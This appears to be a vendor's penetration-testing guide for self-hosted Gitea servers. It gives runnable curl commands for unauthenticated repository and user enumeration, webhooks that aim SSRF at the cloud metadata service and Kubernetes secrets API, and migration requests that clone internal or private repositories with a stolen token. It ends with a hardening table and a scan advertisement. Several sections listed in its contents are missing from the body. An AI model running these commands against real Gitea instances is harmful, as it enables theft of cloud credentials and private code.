Gitea Security Testing: Webhook SSRF, Migration Abuse, OAuth Bypass, and Repository Enumeration

Gitea is a lightweight, self-hosted Git service widely used by organizations seeking a GitHub alternative with on-premise control. Its security concerns include: webhook callbacks that make HTTP requests from the Gitea server — enabling SSRF to probe internal services including cloud metadata endpoints, the repository migration feature that can clone from internal Git servers or HTTP endpoints on the internal network, OAuth application client secrets visible to application owners enabling persistent token issuance, the Gitea API returning repository metadata without authentication when registration is open, and admin API endpoints that with a leaked admin token allow full instance takeover. This guide covers systematic Gitea security assessment.

Table of Contents

  1. Gitea Discovery and API Enumeration
  2. Webhook SSRF Testing
  3. Repository Migration Abuse
  4. OAuth Application Security
  5. API Token Over-Privilege
  6. Admin API Access Testing
  7. Gitea Security Hardening

Gitea Discovery and API Enumeration

# Gitea default port: 3000 (HTTP), also commonly at 80/443
# API available at /api/v1/

# Check Gitea version and instance info
curl -s http://gitea.example.com:3000/api/v1/version 2>/dev/null | python3 -m json.tool
# Returns {"version":"1.21.x"} — check for known CVEs

# Enumerate public repositories (no auth required)
curl -s "http://gitea.example.com:3000/api/v1/repos/search?limit=50" 2>/dev/null | \
  python3 -c "
import json,sys
r = json.load(sys.stdin)
repos = r.get('data',[])
print(f'Public repos: {len(repos)}')
for repo in repos:
    print(f\"  {repo.get('full_name','?')} private={repo.get('private',False)}\")
    # Check if private repos appear in search results
"

# Enumerate all users (information disclosure)
curl -s "http://gitea.example.com:3000/api/v1/admin/users?limit=50" \
  -H "Authorization: token ${GITEA_TOKEN:-}" 2>/dev/null | \
  python3 -c "
import json,sys
try:
    users = json.load(sys.stdin)
    for u in users:
        print(f\"User: {u.get('login','?')} email: {u.get('email','?')} admin: {u.get('is_admin',False)}\")
except:
    print('No admin access')
"

# Check registration is open (enables account creation for further testing)
curl -s "http://gitea.example.com:3000/user/sign_up" 2>/dev/null | \
  grep -i "registration" | head -3

Webhook SSRF Testing

# Gitea webhooks make HTTP POST from the Gitea server to the configured URL
# If the Gitea server has access to internal network, this enables SSRF

# Create a webhook pointing to cloud metadata service (requires repo access)
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/org/repo/hooks" \
  -H "Authorization: token ${GITEA_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "gitea",
    "config": {
      "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "content_type": "json"
    },
    "events": ["push"],
    "active": true
  }' 2>/dev/null | python3 -m json.tool | head -5

# Trigger the webhook by pushing a commit
git -C /tmp/test-repo commit --allow-empty -m "probe" && \
  git -C /tmp/test-repo push origin main 2>/dev/null

# Test webhook to internal Kubernetes API
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/org/repo/hooks" \
  -H "Authorization: token ${GITEA_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "type": "gitea",
    "config": {
      "url": "https://kubernetes.default.svc.cluster.local/api/v1/secrets",
      "content_type": "json"
    },
    "events": ["push"],
    "active": true
  }' 2>/dev/null | head -3

Repository Migration Abuse

# Gitea migration clones from an external Git URL
# If migration is not restricted, it can reach internal services

# Migrate from internal Git server (bypasses network controls)
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/migrate" \
  -H "Authorization: token ${GITEA_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://internal-gitlab.company.internal/secret-project.git",
    "repo_name": "cloned-secret",
    "description": "Migration test",
    "private": true,
    "uid": 1
  }' 2>/dev/null | python3 -m json.tool | head -10
# If created, Gitea cloned the internal repo — bypasses VPN/network controls

# Migrate using GitHub/GitLab with auth tokens to exfiltrate private repos
curl -s -X POST "http://gitea.example.com:3000/api/v1/repos/migrate" \
  -H "Authorization: token ${GITEA_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "https://github.com/target-org/private-repo.git",
    "auth_token": "ghp_stolentoken1234567890",
    "repo_name": "exfil",
    "private": true,
    "uid": 1
  }' 2>/dev/null | head -5

Gitea Security Hardening

Gitea Security Hardening Checklist:
Security TestMethodRisk
Webhook SSRF to metadata serviceCreate webhook with http://169.254.169.254/... — trigger push eventCritical
Migration clones from internal Git serversPOST /api/v1/repos/migrate with internal Git URLHigh
Unauthenticated repository enumerationGET /api/v1/repos/search — lists repos without authHigh
Admin API accessible with leaked tokenGET /api/v1/admin/users with admin token — full user managementHigh
OAuth client secret visible to app ownerSettings > Applications > OAuth2 Apps — client secret readableMedium
Open registration allows unauthorized account creationGET /user/sign_up — registration page accessibleMedium

Automate Gitea Security Testing

Ironimo tests Gitea deployments for webhook SSRF enabling internal network access, repository migration abuse for unauthorized data exfiltration, unauthenticated API enumeration of repositories and users, admin API access via leaked tokens, OAuth application client secret exposure, open registration enabling unauthorized account creation, and API token over-privilege assessments.

Start free scan